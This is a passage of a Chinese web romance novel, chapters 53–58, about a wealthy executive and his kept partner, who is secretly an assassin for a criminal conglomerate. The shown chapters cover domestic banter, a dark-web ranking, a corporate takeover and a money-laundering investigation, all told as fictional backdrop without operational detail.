顾鸣鹤被时清徵那句“我研究研究”噎得够呛。 研究?怎么积极对待金主还需要研究?这敷衍的态度简直是在他心火上浇油。 “不用研究了!”顾鸣鹤的声音带着点咬牙切齿的意味,他松开时清徵,站起身将人按在沙发里面。 “我教你。” 他一副大发慈悲亲自指导的模样,居高临下地看着端坐在小沙发里的时清徵,试图占据“金主导师”的制高点。 时清徵微微挑眉,身体倒是配合地坐得更端正了些,一副洗耳恭听的模样。 第53章 醒酒汤 顾鸣鹤清了清嗓子。 “就比如——” 他指了指自己,试图营造一点受害者氛围,“我今天醉酒了,你是不是应该立刻,马上去煮一碗醒酒汤?这是基本的关怀流程。” 他话音刚落,时清徵就平静地接上了话,像在陈述客观事实: “我是准备去煮的。” 他顿了顿,抬眼看向顾鸣鹤,眼神清澈无辜,“不是先生拉住我,死活不让我离开的吗?” 顾鸣鹤:“.........” 他感觉自己的太阳穴突突突地狂跳起来。 一股郁气堵在胸口,上不去下不来。 他为了维持醉酒人设,确实多赖在时清徵身上一会儿,阻止的对方。 顾鸣鹤喉结滚动了一下,他深吸一口气,决定忽略这个“教学事故”,直接跳到下一个环节。 “但在实施这个关怀行动 之前 ,你是不是应该先表达一下你的关心?” 他微微倾身,试图引导时清徵开窍,眼神里带着点执拗的期待: “比如,问问我难不难受?头还疼不疼?需不需要帮你揉一揉?或者........” 顾鸣鹤的声音不自觉地低了下去,带着点别扭和一丝不易察觉的试探:“.......对我笑一笑?” 最后几个字,他说得又快又轻,仿佛只是随口一提。 但他的目光却紧紧锁在时清徵的脸上。 空气仿佛凝固了。 时清徵眨了下眼,歪头笑了下:“那先生现在还难受吗?” 他要是再不明白顾鸣鹤的意思就真是个傻子了。 无非是情绪价值没给到位。 这简单啊。 时清徵看着顾鸣鹤那张明艳张扬的俊脸,笑容都显得真诚了不少。 顾鸣鹤呼吸一滞,心跳好像漏了一拍。 “......还行吧。” 随后他侧过头去,表情有很明显的不自然。 时清徵看到这一幕,眉梢微挑。 都otz-过了,这人那么纯情呢? 之前压着他的时候怎么不见是这副模样? 顾鸣鹤也不知道自己怎么了,被时清徵这么笑着看他,他总有种失去主控权的感觉。 “你去给我煮醒酒汤。”顾鸣鹤有些不敢看时清徵。 时清徵:你又没醉...... 但表面上还是乖乖听话:“好的先生。” 随后就朝厨房走去了,走的时候还没忘记拿自己的手机。 他哪里会煮什么醒酒汤,这不得现学。 因为顾鸣鹤没有说今晚会回半山庄园,所以李婶并没有提前准备好。 就刚才顾鸣鹤的那个意思,怕是要他亲自煮了。 顾鸣鹤坐在沙发里,那张肆意张扬的脸第一次显得有些无助起来。 桃花眸中带着点迷茫。 他可能今天晚上真的是醉了。 最后十几分钟过去了,他都坐在那保持一个动作一动不动。 时清徵端着碗从厨房走过来时,他听见了动静,抬眸。 只见一个面容清艳的男子眉眼温柔,手中还端着一碗汤。 灯光下,时清徵的身姿显得光风霁月,似乎整个人都在发光。 让人挪不开眼睛。 天上有一轮月亮,而他只看到了眼前这个。 顾鸣鹤坐在这儿坐了那么久,想明白了一个道理。 他好像有点喜欢时清徵了。 不是有点,是五分?四分? 他也很难说的清楚。 时清徵在顾鸣鹤的注视中缓缓走了过来。 “先生,我脸上有东西?” 顾鸣鹤忽然想通了,笑着没说话,伸手接过时清徵手中递来的碗。 碗中的醒酒汤是温的。 这一刻,顾鸣鹤有种说不清道不明的滋味。 就像是远处飞来了一个很漂亮的泡泡,然后这个泡泡偏偏迎着风朝你而来。 最后在触碰到你的那一刹破碎成水雾。 顾鸣鹤将喝完的碗往桌边一放,朝时清徵勾了勾手。 时清徵本就站的离他很近了,见他这个手势便微微躬身。 两人的脸颊离得很近,呼吸都要纠缠在一起了。 顾鸣鹤伸手摸了摸时清徵的脸。 一下子全想通了。 时清徵本来就是他的人,两人睡了这么久,喜欢上他不是人之常情吗? 激情本来就是爱情中必不可少的一部分。 但能让人产生激情的人好像这么多年来也就眼前这一个。 顾鸣鹤向来是个通透的人。 喜欢而已,没什么好难看的。 这么一个美人成天在自己面前晃,不喜欢才不正常。 时清徵感受到自己脸颊上有对方掌心传来的温热,情不自禁的贴了贴。 顾鸣鹤今晚好像有点不一样啊,不会真醉了吧? 他的凤眸微微颤了颤。 不会是他刚才煮的醒酒汤有毒,把人给毒傻了吧? 不会吧,他觉得自己是个天才来着。 两人心思各异。 “去休息吧。”顾鸣鹤说着将人拉到怀中一把抱起。 还是公主抱的那一种。 时清徵被抱起的一瞬间还有些慌乱。 窝草,这人真疯了。 然而顾鸣鹤把时清徵丢到床上后并没有做什么,而是搂着他睡了一夜。 时清徵第二天醒的很早。 一晚上都被抱着,他有点儿难受,于是扭了扭。 这一扭就把旁边的人给弄醒了。 顾鸣鹤带着些鼻音和未睡醒的慵懒:“乖一点。” 说着,放在时清徵腰间的手还揉了揉。 时清徵整个人都要颤过去了。 如果不是特殊情况,时清徵不太喜欢赖床。 他一般是比较自律的,生物钟一向很准。 但自从遇到顾鸣鹤后,他感觉自己的生物钟就有些失灵了。 就像是现在,虽然他按时醒了,但顾鸣鹤抱着他,他也起不来。 两人在床上磨磨蹭蹭的,一直到六点半才起。 顾鸣鹤今天有一个早会,所以起的早了些。 临走时他弯腰温柔的在时清徵额间落下了一吻。 很轻柔,温热的触感一触即分。 这还是他第一次在出门前吻时清徵。 不带任何欲望的那一种。 顾鸣鹤嗓音有些低沉,富有磁性:“乖一点,要是无聊了就出去走走。” 想了想他又道:“我在城西江那边有一个私人高尔夫球场,你要是感兴趣,我让经理安排一下。” 时清徵摇头:“多谢先生,不用了。” “走了,早会不能迟到。”顾鸣鹤的指腹轻轻刮蹭了一下时清徵的脸颊。 “先生再见。” 第54章 你真的,我哭死 顾鸣鹤离开不久后,时清徵也出了门,去外面跑了一圈。 这片地方住的都是富人,一路上都没有见到什么人。 时清徵绕着山路来回跑了几圈,回去时已经过了两个小时了。 他出门时没带手机,回去一看手机上有昏鸦发的消息。 昏鸦一直在盟洲管理FK集团,怎么忽然有空搭理他了? 时清徵还是点进去看了看。 果不其然,是关于工作的。 【昏鸦:你快去看暗网上的排行榜,你去看,你快去看啊!!崩溃大哭jpg.】 时清徵回屋后打开电脑,登录了暗网查看了上面的排行榜,排行榜在昨天晚上就已经更新了。 这个排行榜是一个月更新一次。 此时万岁的排名已经从原本的第六下滑到了第十一。 时清徵看到这个排名的时候还有些诧异。 自己这一个月虽然什么都没干,但也不至于下滑的这么严重吧。 居然直接掉了五名。 同行都这么卷的吗?究竟是谁带坏了业内的风气!? 【万岁:怎么了?】 【昏鸦:微笑jpg.】 昏鸦作为FK集团的董事长兼CEO,他对时清徵和江南月这几个人的怨念早就达到了顶点。 虽然这几人常年不在母公司,但江南月至少还管理几个子公司的业务。 时清徵倒好,公司是不管的,业务是不达标的,钱是要拿的。 要不是两人现在隔了半个地球,昏鸦手中的钢笔下一秒就会砸到时清徵的脑门上。 然后撬开他的脑子,看看里面是不是下雨了。 昏鸦原名是诺亚 施密特,是盟洲施密特家族的继承人。 不过要是他愿意,如今的他想成为掌权人也不过是几句话的问题。 但是现在一个FK集团就够让他焦头烂额了,也没多大兴趣再去管施密特家族企业。 【昏鸦:我给你三个月的时间把排名给我重新刷到前十名。】 【昏鸦:啊不,你给我刷到前五名。】 【昏鸦:不然我就把东洲那边的几个子公司也交给你管,你不正好在那边闲的掉渣?】 对于昏鸦的威胁,时清徵表示。 【万岁:可是我现在不方便接任务。理直气壮jpg.】 下一秒昏鸦就把资本主义的丑陋嘴脸展现的淋漓尽致。 【昏鸦:那你就滚去管公司FK不养闲人。微笑jpg.】 【昏鸦:正好我们集团要往东洲那边扩展业务,你就代表集团总部去当负责人吧。】 虽然FK集团主要还是靠地下的那些生意吃饭,但是明面上的这些公司发展带来的效益也很高。 因此FK集团董事会决定将重心慢慢往明面上的这些业务上移。 时清徵考虑了很久。 最终回道。 【万岁:要不这样吧?我去把排名刷到前五,你把东洲分公司旗下的FK光影娱乐划给我独立运营。】 时清徵觉得自己聪明极了。 【昏鸦:......你跟我讨价还价呢,你以为你是在买菜?】 【昏鸦:而且你要那娱乐公司做什么,它最近发展势头还可以,但毕竟是个小公司,你拿去玩玩也行。】 【万岁:那就这样说好了,我会接几个任务把排名刷上去的,管公司的事就别提了。捂脸jpg.】 【万岁:万一全搞破产我们一起去喝西北风。】 【昏鸦:我还能不知道你的德性?东洲分公司你就代表总部这边出面,当个佛就行了。】 【昏鸦:至于那个娱乐公司随便你。】 【昏鸦:埃特纳斯和万岁的这两个职务你至少得履行一个吧?】 时清徵属于那种只想分红,不想干事的董事。 除了偶尔用埃特纳斯这个身份参加一下董事会,以免被冠上“长期缺席董事会”的名头。 时清徵看着昏鸦的话琢磨了半天。 时清徵作为万岁,负责地下的刺杀业务个人常年不达标。 作为埃特纳斯,集团董事,他就是一个挂名的,常年带头翘班。 虽然这两个身份都是FK集团的成员,但是知道这两个是同一个人的很少。 也就那几个高层知道。 有时清徵这样的同伴,昏鸦只觉得两眼一黑,前途一片惨淡。 【万岁:行,那光影娱乐归我,然后我把排名刷到前五补偿你。磕头jpg.】 看他一副自己亏大的样子,昏鸦在那边都气笑了。 【万岁:话说你那边现在还是凌晨,这么辛苦的吗?】 【昏鸦:我现在在赤洲,这边一批军火的合作商有意见,我来解决他们。】 【昏鸦:麻烦大爷您下凡看一下好吗?】 【万岁:事先声明,破产别找我。】 【昏鸦:我也没指望你能做大做强。】 【昏鸦:比起你,我还是更把希望寄托在那些职业经理人身上。】 虽然诺亚嘴上这么说,但他心里却还是认可时清徵的能力的。 虽然时清徵平日里不务正业,习惯当甩手掌柜,但他也不至于真的废物到那种地步。 时清徵在生意场上只能用一个词来形容,横冲直撞。 对别人狠,对自己更狠,不达目的誓不罢休的那种。 后来时清徵转到地下的那些行动组也是因为他这个性格在生意场上实在有些吃亏。 要不是他那时身手好,怕是早就不知道栽多少回了。 昏鸦有时觉得时清徵聪明,有时又觉得这人蠢到令人发指。 是一个为了达到目的能把命都豁出去的狠人。 不过可能是现在年纪长了,少了年少时的那股轻狂劲儿,反而稳重了很多。 当然这里的“稳重”并不是褒义词。 而是指时清徵这人无所事事摆烂的态度。 跟先前那股倔劲儿比起来也是半斤八两的气人。 时清徵觉得他要是再聊下去就要被昏鸦给嘲讽死了。 于是果断下线。 他主动要FK光影娱乐,绝非一时兴起。 程氏娱乐的总裁程俊安。 他回到A国的目标之一。 现在他在国内一没钱,二没人,拿什么对付程俊安? 总不能直接去杀了他吧?那也太便宜这人了。 还不如直接用现成的公司跟他对打。 硬刚?时清徵很有经验。 先在精神上毁了他在乎的,然后再物理消灭他。 很快,昏鸦的效率惊人,光影娱乐的所有权转移和法人变更文件就发到了时清徵的加密邮箱。 第55章 光影娱乐 时清徵点开资料,目光落在公司简介上。 FK光影娱乐,依托FK集团的雄厚资本,在A国近乎饱和的娱乐市场里硬生生撕开了一条口子,短时间内就站稳了脚跟。 虽然光看目前的FK光影娱乐的规模并比不上程家经营多年的程氏娱乐。 但是光影娱乐的背后是FK集团,若论起底蕴和资源来,根本不是程家能比的。 所以时清徵想借此来收拾程俊安还真不是什么难事。 程家现在早就大不如前了,尤其是程俊安接手程氏娱乐之后,简直是在逆向进化。 专门挑出破烂往怀里扒拉。 有这样的同行,诸多娱乐公司表示,他真的,我哭死。 当天下午,光影娱乐的总裁周景深就发来了添加时清徵联系方式的请求。 时清徵略作思索,点了同意。 对方的昵称简洁明了:【周景深(光影娱乐)】。 【周景深:尊敬的时董,您好!我是光影娱乐执行总裁周景深。非常荣幸能有机会向您汇报工作。 光影全体同仁期待并欢迎您的莅临指导。 这是我的工作号,您有任何指示或需要协调之处,请随时联系。】 【你洗了蒜了:嗯。】 时清徵看着上面那一长串官方的发言,嘴角抽了抽。 他不是来莅临指导的,他是来捣乱的。 屏幕这端,周景深看着那个跳出来的回复和那个极其醒目的昵称。 一向严肃的脸上罕见地浮现出几丝错愕。 他对这位新联系人的真实身份知之甚少,只知道是FK集团总部的高层。 总部那边没有多说什么,只告诉他这位董事姓时。 FK那边亲自交代,必须全力配合这位。 他原本的想象里,这位董事大概率是个不苟言笑,年过半百的长者形象。 然而此刻,盯着这个昵称,周景深陷入了沉思。 事情似乎和他预想的,不太一样。 而且就这一个“嗯”字,他就能感受到这个新来的时董不是个好糊弄的。 但周景深是谁?那是专业打工人里的战斗机,职场老油条中的定海神针。 区区一个画风清奇的顶头上司? 呵,0.01秒内,周总就完成了从“瞳孔地震”到“光速认命”的丝滑切换。 毕竟,工资和年终奖才是永恒的真爱。 新上司?只要不把公司点了,都好说...... 阿弥陀佛,信男周景深愿用本月KPI超额完成,换取这位爷是个好伺候的主儿。 打工人卑微祈祷,在心里哐哐磕头。 这时,他的助理小王探头进来,脸上写满了“吃瓜”和“求生欲”:“周总,上头那位新来的董事有何指教?” 语气恭敬中带着一丝不易察觉的颤抖。 周景深从“桌面磕头”的冥想中抬起头,面无表情地吐出四个字:“没有指教。” 小王一愣,随即脸上绽放出劫后余生的光芒: “啊?没有指教?那........那不是挺好?” 难道新董事是位沉默是金的菩萨? 周景深缓缓靠向椅背,用一种看透职场风云和饱含沧桑的语气,幽幽地叹了口气: “傻孩子,没有指教,往往就是最凶险的指教。” 他顿了顿,眼神飘向窗外:“暴风雨前的宁静,寂静岭里的白雾,哎——” 就像你永远猜不透老板下一秒会从哪个维度给你降维打击。 “准备好吧,小王,山雨欲来风满楼啊。” 小王脸上的笑容瞬间凝固,手里的文件差点滑落。 这破班是一天都上不下去了。 ———— 京城这几天的天气总是阴晴不定的,上午还是晴天,下午就飘起雨来。 顾鸣鹤到酒店的重宾包间时第七局局长林霄汉已经到了。 这是一个中年男人,估摸着四十来岁。 顾鸣鹤进来时,他正在剪雪茄。 察觉到有人进来,抬起头瞥了他一眼。 “你这次来的倒是准时。” 顾鸣鹤在林霄汉的对面坐下,屋内就只剩下他们两人。 林霄汉家里是做古董生意的,自己开了间古董铺子,生意只能说还过得去。 以前他们见面一般都是在林霄汉古董铺子的那条商业街上,这次也不例外。 从窗外看去,斜对面那家古色古香的铺子就是林霄汉开的。 当然他并不是真靠这个吃饭,只是身份的一个遮掩罢了。 而且这条商业街还是天和集团名下的。 顾鸣鹤随便接了几句,然后直接进入主题。 经过他这些时间的调查,顾砚川先前几个亿的异常流动资金已经查的七七八八了。 这些资金并非一次性转移,而是通过半年的时间,以“海外收购预付款”的名义分成七笔转到了M国。 先前第七局注意到这些资金的异常流动,还是因为顾砚川的离岸账户的在东南群岛某国大额交易时触发了国际洗钱系统预警。 预警反馈到了国内的监管部门。 顾鸣鹤语气平静道:“顾砚川的国外子公司已经连续三年亏损了,却一直获得CM资本的注资。” “CM资本注册代理人是巴拿马律师,背后的受益人却是姓陈坤明。” 说着他拿出了自己查到的资料,递到林霄汉面前。 “陈坤明此人原本是A国人,但是在十几年前就已经加入了L国。” L国是东南群岛的诸多国家之一,也是最为混乱的地带。 “此人表面上是做红木生意,实际上是金兰会的幕后代理人。” 金兰会是跨国赌博集团,背后牵扯势力之大,千丝万缕。 林霄汉手指尖还夹着雪茄,听到这里缓缓的吐出一口烟。 “这顾砚川藏的还真是深。” 顾鸣鹤继续道:“不止。” 顾砚川那几个亿的一笔流动资金的最终去处是东南群岛的一处地下钱庄。 那个钱庄是他与金兰会合伙创立,其目的就是为了帮助转移资产。 在这么多年的合作下来,顾砚川在东南群岛具有地界争议的地带非法占据了一个翡翠矿的开采权。 金兰会也为他提供了护矿队。 两方狼狈为奸,在那块地界占山为王,好不猖狂。 这些不法交易的链条足以把顾砚川扣死在地上了。 第56章 徵大少爷,闹够了没 林霄汉若有所思的点头,雪茄顶头的一点红明明灭灭。 缕缕烟雾升起,散发着特有的香。 顾鸣鹤也没说话,就静静的喝着杯中的茶。 他以前也抽烟,但现在抽得少,雪茄这玩意他兴趣不大。 不过他记得林霄汉之前并没有抽雪茄的习惯。 林霄汉将烟灰摁在烟灰缸里,沉声道:“早知道他有问题,没想到在国外捞偏门不说,手还伸回了国内搞这些违法勾当!” “能在我们眼皮底下藏这么久,背后少不了人替他打掩护。这次必须一查到底,把他和他背后那几条线上的人,连根拔起。” 两人这一场交谈也不过才一个小时不到。 顾鸣鹤从车库坐车离开时外面还飘着雨。 细细密密的雨落在车窗上,慢慢汇聚成硕大的雨滴,随后滑落,留下一道水痕。 顾砚川这些年一直很谨慎,第七局也不敢轻易打草惊蛇,所以只好由顾鸣鹤代劳。 现在他终于露出了马脚。 第七局的意思是让顾鸣鹤继续监视,但不要采取行动。 他们现在的目的是放长线钓大鱼。 然后将这群朋比为奸之人一网打尽。 林霄汉在顾鸣鹤离开时还给了他一份资料。 有关顾砚川与国外非法势力勾连。 那个势力已经查到了,是幽灵组织,这些年顾砚川一直在为幽灵组织做事。 不管是CM资本还是金兰会,后面站着的都是幽灵组织。 而幽灵组织从上个世纪以来就已经成立了,如今暗线遍布世界各地。 “不过这里是我们A国,他们还能再翻出什么花来。” 林霄汉眸光幽深,眼神直勾勾的盯着窗外面。 ———— 这场雨终于在将近傍晚时停了。 霞光透过厚重的云层,为乌云镶上了红边。 黑红交融,显得格格不入,在此刻却又那么和谐。 一辆迈巴赫平稳地行驶在高架路上。 车内电台开着,正播报着气象信息: “今日上午八点四十二分,台风‘蝴蝶’已在东部沿海登陆,正沿西北方向移动。 台风中心附近最大风力达七级,预计明日下午三点将影响我市,届时将伴随持续八小时的强降雨及强雷电天气。 气象台已发布橙色暴雨预警,请广大市民提前做好防范措施.........” 顾鸣鹤抬手切换了频道。 一个沉稳清晰的男声立刻接替了气象播报员: “财经快讯:备受瞩目的城西新区核心地块将于下周进行公开拍卖。该地块规划性质为纯商业用地,容积率高,将用于打造大型综合商业圈及配套商务设施。 其起拍价超过亿元,是本年度我市土地市场最具价值的商业地块之一。 据透露,主要竞标方包括天和集团,宋氏集团等多家在商业地产开发领域经验丰富的头部企业.......” 电台的声音还在车厢里回荡。 顾鸣鹤微微合上眼,靠在座椅上休息。 天和集团将此次竞标列为年度头号战略项目,其成功与否将直接影响集团未来三至五年的商业版图拓展计划。 所以这个竞标的项目一直是顾鸣鹤亲自在跟。 这个项目是上面发的红头文件,不少企业对此虎视眈眈。 但是有能力拿下这块地的也不过那么几个而已。 顾家,宋家,靳家........ 顾鸣鹤在闭目休息时,手机忽然传来震动。 是时清徵发来的问候。 【你洗了蒜了:先生,你今晚还回来吗?】 自从有了昨晚的交谈,时清徵态度明显转变了不少。 如今还学会主动问候人了。 顾鸣鹤看着手机屏幕上弹出来的消息,唇角微微勾起。 但是他并没有回复。 时清徵看见顾鸣鹤没有回自己,也没有多想。 他也是在手机上看见了明天的天气报道。 据说会有台风和强降雨。 为了出行安全,顾鸣鹤极有可能不回来住。 这条消息发出去没几分钟,时清徵没等到回复,反而等到了顾鸣鹤这个人。 “先生,你怎么回来了?” 时清徵刚端了一杯水走出来,结果就对上了顾鸣鹤。 “我不能回来?”顾鸣鹤反问。 “倒也不是......”时清徵小声嘀咕了句。 “什么?” “没什么。”时清徵眼神往四周瞟了瞟。 想起了自己手中的茶杯,于是递了出去。 “先生喝水吗?” 顾鸣鹤拒绝了,然后走上楼去换衣服。 时清徵看着他的背影轻轻的晃了晃头,然后端着水边走边喝。 他还以为明天刮台风顾鸣鹤今晚会考虑一下不回来呢,看来还是有人不怕通勤的苦。 要是换了自己,自己是不愿意每天多花一个小时在路上的。 可能是昨晚的话起作用了,时清徵今天都显得格外殷勤。 殷勤到顾鸣鹤都有些不自在了。 餐桌上。 “先生吃这个......” “这个也不错.......” “先生你觉得呢?” 顾鸣鹤最开始还点点头,回几句:“好。” “行。” “挺好的。” 但到了后来表情都变得有些无奈了。 “吃你自己的。” 时清徵托着下巴,一双凤眸就那么瞧着顾鸣鹤。 眸心中是掩饰不住的促狭。 “昨晚先生不是让我多关心关心你吗?我都照做了先生怎么还是不满意?” 顾鸣鹤:........ 他算是看出来了,时清徵就是故意的。 眼看时清徵小嘴一张,叭叭地又打算说什么。 顾鸣鹤只好朝他做个噤声的手势。 “好好吃饭。” 时清徵只是长长地叹了口气:“先生,你好难伺候啊。” 顾鸣鹤:....... 他把筷子放下,目光如水的盯着时清徵。 时清徵丝毫不惧的盯了回去,眼睛还眨了眨,露出无害的笑来。 像是知道自己长得很牛逼一样,而且很擅长利用这张牛逼的脸来卖萌撒娇。 倒也称不上是卖萌,只是在顾鸣鹤心里已经很自然地给时清徵的行为套了一层滤镜。 明明知道对方是故意的,但偏偏顾鸣鹤吃这一套,又不好多说什么。 在对方“你能把我怎么样”的眼神中。 顾鸣鹤低头轻笑了一下,随后缓缓开口。 “徵大少爷,闹够了没?” 第57章 时小徵 时清徵拿着筷子的指尖蓦地顿住,睫毛在眼下投出一小片阴影。 顾鸣鹤很少正经叫他的名字,更别说像现在这样,带着点说不清道不明的意味,抛给他一个“徵大少爷”的称呼。 这在他心底激起异样的涟漪,但更多的是......警惕。 他抬起眼,那双细长的凤眸此刻清凌凌的,直直看向对面:“为什么这么叫我?” 声音不高,却带着不容闪避的探寻。 顾鸣鹤好整以暇地回视他,唇角噙着一丝若有似无的,近乎纵容的笑意。 他没答话,只是姿态闲适地拿起公筷,从碟中夹了一块清蒸鲈鱼放进时清徵面前的小碗里。 鱼肉雪白,衬着青翠的葱丝,煞是好看。 面对时清徵的质询,顾鸣鹤心中闪过一个念头。 ——还能是为什么? 答案无声地滑过心底,顾鸣鹤瞧见时清徵那副“老子天下第一难伺候”的矜贵模样,嘴边甚至泛起一丝自己都未察觉的柔软笑意。 当然是因为你这身大少爷脾气。 谁料,时清徵的目光根本没落在鱼肉上。 他身体微微后仰,单臂随意地搭在椅背上,姿态慵懒。 他下巴微抬,那双漂亮的眼睛里此时却有几分冷,直直刺向顾鸣鹤,声音也沉了下去: “顾总。” 他顿了顿,那声顾总叫得格外疏冷。 “您这是......在嘲讽我?” 顾鸣鹤脸上的笑容瞬间凝固。 一股荒谬又憋闷的情绪猛地窜上心头。 嘲讽? 他怎么会这么想?! “我没有......” 顾鸣鹤下意识地反驳,眉头紧紧拧起,声音带着被误解的急切。 话一出口,他才猛地意识到问题的关键。 以他们之间金主与金丝雀这层冰冷又赤裸的关系,“徵大少爷”这个呼落在时清徵耳中确实像一种居高临下的,带着羞辱意味的戏谑了。 顾鸣鹤的心猛地一沉。 他看着时清徵,对方眸色深黑,却看不出什么情绪。 但空气依旧沉重得令人窒息。 顾鸣鹤明白自己方才那点隐秘的,带着亲昵感的调侃心思,此刻显得多么不合时宜。 他舔了舔唇,试图解释:“我.......” 他脑中寻找着合适的词汇,不想再火上浇油。 “只是调侃一下你那点大少爷脾气。” 他避开了那些更接近本心的词,选了一个相对中性的说法。 “我大少爷脾气?” 时清徵微微扬眉,语气里充满了不敢置信的荒谬感。 忽然,他身体猛地前倾,拉近了与顾鸣鹤的距离。 那张脸上绽开一个毫无温度的笑容,眼底闪烁着近乎恶意的光芒。 “大少爷脾气?顾先生,您这个称呼,也太不过劲儿了吧?” 他浅笑着,尾音拖得很长,带着十足的挑衅。 他刻意顿了顿,欣赏着顾鸣鹤骤然变得难看的脸色,然后神色忽然变得轻快了起来: “您该叫我徵大爷,这才配得上我的脾气,您说是不是?” 原本有些剑拔弩张的气氛被这一句“徵大爷”彻底打散。 顾鸣鹤看着对方眼中毫不掩饰的揶揄,不自觉松了一口气。 下意识伸出手,食指轻轻抵在时清徵的额头上。 带着一种近乎哄劝却又无比生硬的力道,将他推回安全的距离。 顾鸣鹤的声音低沉,他几乎是脱口而出那个更带着个人占有色彩的称呼。 ”时小徵,吃饭。” 颇有一种想扯开话题的感觉。 但时清徵只是轻哼一声。 短短几分钟内被这个人取了两个外号,鲜少被人取外号的时清徵表示有亿点不爽。 他定定地看着顾鸣鹤,那眼神极其复杂。 短短几分钟内,他从“徵大少爷”变成“徵大爷”,再变成“时小徵”。 虽然“徵大爷”是他自封的。 但是给人取外号是不对的。 “我吃饱了。” 时清徵的声音平淡无波。 站起身,径直转身离开了餐厅。 看着时清徵慢慢走远,顾鸣鹤抿起了唇。 这人到底生气了没? 当晚,时清徵环住顾鸣鹤脖颈的时候顾鸣鹤没有像以前一样回抱住他,然后将他丢进床里。 反而是推开了时清徵。 时清徵:....... ??? “先生?”时清徵不解地抬头。 这人怎么回事儿?这几天怎么怪怪的? 时清徵一脸迷茫的看着顾鸣鹤,歪着脑袋,意思很明显。 还睡不睡了? 然而今天顾鸣鹤却展现出非人的毅力与自制力。 “坐好。”他对时清徵说。 时清徵虽然内心有些躁动,但还是乖乖的盘腿坐在了床上。 “我们.......” 顾鸣鹤犹豫着开口。 下一秒时清徵就是像知道他要说什么一样,提前道:“我们别再聊聊了,先生,该休息了。” 最后那句话带着暧昧与引诱。 说着他伸出手就打算去解顾鸣鹤衣服上的扣子。 顾鸣鹤则是一把拉住他的手,满脸严肃。 时清徵:........ 不是,我这么没有吸引力? 他扭头看着窗玻璃上自己的面容。 嗯,还是那么英俊潇洒。 只是面对顾鸣鹤的异常举动,时清徵只能一脸狐疑地看着他:“好吧,先生您说。” 接着露出一副洗耳恭听的模样。 顾鸣鹤反而不知道怎么说了。 他也不知道自己在扭捏什么。 他也不知道自己想要的是什么。 时清徵目光期待的看了他半天,就等到顾鸣鹤一句: “你不想听就算了。” 随后就躺在床上,目光迷茫地看着天花板。 时清徵根本不清楚这人葫芦里卖的什么药。 也躺在这个人的身边,跟他一样看着天花板,悠悠的叹了一口气。 他总有一种顾鸣鹤已经厌弃他的感觉。 这个念头一出来,他就感觉自己想对了。 什么顾鸣鹤要求自己关心他啦,什么顾鸣鹤今天莫名其妙说那些话一瞬间都解释的通了。 那就是对原本的生活方式厌倦了,想寻求一点新的刺激。 时清徵有点儿可惜。 他其实还挺喜欢顾鸣鹤这张脸的,也很喜欢他的身材。 性格也还行吧。 如果换做是他,他肯定不会这么快就腻。 如此想着他情不自禁的侧头去看顾鸣鹤的侧脸。 那里,还有那里,都是他喜欢的类型。 自己真的没魅力吗?时清徵第一次陷入了自我怀疑之中。 第58章 怕先生说我不敬业 两人就这么并排躺在宽大的床上,中间隔着不远也不近的距离。 谁也不说话,空气里弥漫着一种奇异的安宁。 顾鸣鹤的目光落在天花板上的灯影,心里却像被什么轻轻搔了一下,有些不平静。 他侧过脸,借着床头的微光,看向身旁闭目养神的时清徵。 那张脸此刻在昏暗的光线下显得格外柔和安静。 顾鸣鹤的声音在寂静中响起,比平时低沉了几分,带着点不易察觉的试探:“你在家无聊吗?” 时清徵的睫毛轻轻颤了颤,没有立刻睁眼,只是从鼻腔里发出一声模糊的回应:“嗯?” 他似乎刚从自己的思绪里抽离出来。 顾鸣鹤耐心地等了一会儿。 “有点。” 时清徵终于开口,声音里带着一丝坦然的倦怠。 他确实无聊。 京城对他来说依旧陌生,没什么熟稔到可以随意消遣的朋友。 他骨子里也不是那种热衷喧嚣玩乐的人,偌大的庄园其实也没几个人,日复一日,是有些没意思。 不过,这种清闲大概也持续不了多久了。 光影娱乐,那个瓶子........ 一堆待解的事情压在心头。 想着想着,眼皮就有些发沉,思绪也渐渐模糊混沌起来。 顾鸣鹤听着他那声“有点”,心头像是被细小的针尖轻轻扎了一下。 他想起时清徵的身世,想起他背后可能的孤寂与无依。 一股强烈的想要做点什么的心情油然而生。 此刻他不再甘心只做那个看热闹或带着点优越感审视他的旁观者。 他觉得自己应该给时清徵一些东西,一些实实在在的,能让他在京城站稳脚跟的底气。 一份无论将来如何,都能护他周全的保障。 这种想法来得如此自然,又如此强烈,让顾鸣鹤自己也微微怔忪。 他无声地叹了口气,在心底描摹着可能的路径。 当他终于理清自己纷乱的思绪,再次转过头,想再问问时清徵的具体想法时,却发现身旁的人呼吸已经变得绵长而均匀。 时清徵睡着了。 他微微侧着头,几缕碎发垂落在光洁的额角,眉眼彻底放松下来,唇瓣无意识地微启,透出一种近乎天真的毫无防备。 “........” 顾鸣鹤一时无言,看着这张近在咫尺在昏暗中显得格外温顺的睡颜,方才那些沉重的心事和盘算被轻轻拂开。 一种难以言喻的柔软情绪悄然弥漫心间,带着点无奈,又带着点连他自己都未曾察觉的宠溺。 鬼使神差地,他屏住呼吸,极其缓慢地地伸出手。 指尖带着试探的温度,轻轻碰了碰时清徵温热的脸颊,触感细腻得不可思议。 他忍不住,又极轻地捏了一下。 指尖残留着那温软的触感,顾鸣鹤望着他无知无觉的睡颜,无声地动了动嘴唇。 最后用很轻地用气音吐出几个字: “小没良心的。” 明明惹得他心绪起伏,自己倒睡得安稳。 房间里最后一点微弱的光源消失了。 是顾鸣鹤轻轻按下了床头的开关。 黑暗温柔地笼罩下来,将两人并排的身影彻底淹没。 次日果然刮起了大风。 时清徵站在落地窗边,看着屋外的树都摇得厉害。 原本说今天到的技术人员说飞机延误,可能得到明天。 时清徵表示问题不大。 风刮了没多久,雨倾盆而下,颇有铺天盖地之势。 到了下午,顾鸣鹤没有回来。 时清徵想着顾鸣鹤先前说过的话,拿起手机编辑了一条信息发了过去。 【你洗了蒜了:先生,你今天还回来吗?】 对面很快就回了。 【顾鸣鹤:加班。】 他没有明说。 但是时清徵觉得他今天可能回不来了。 也对,这么大的雨,不回来也好。 【你洗了蒜了:好的。猫猫探头jpg.】 时清徵脾气来的快,去的也快,早就把昨晚的那一些不愉快给忘记了。 天和集团会议室外,顾鸣鹤看着那萌萌的头像眼底漫上笑意。 此时已经有几个高管朝这边走来了。 顾鸣鹤跟他们点头示意,随后一起走进了会议室。 会议室内,城西核心地块招标的最终方案模板摊开在长桌上,各环节负责人围绕关键条款逐字核对。 方案主体框架已无大碍,仅少数细节需返场修订完善。 第三方出具的资质背书与可行性评估均已就位,若无突发变量,此次竞标胜算应无悬念。 饶是这样,关于剩下的问题众人还是讨论了将近两个小时。 等到散会时天色已经很黑了。 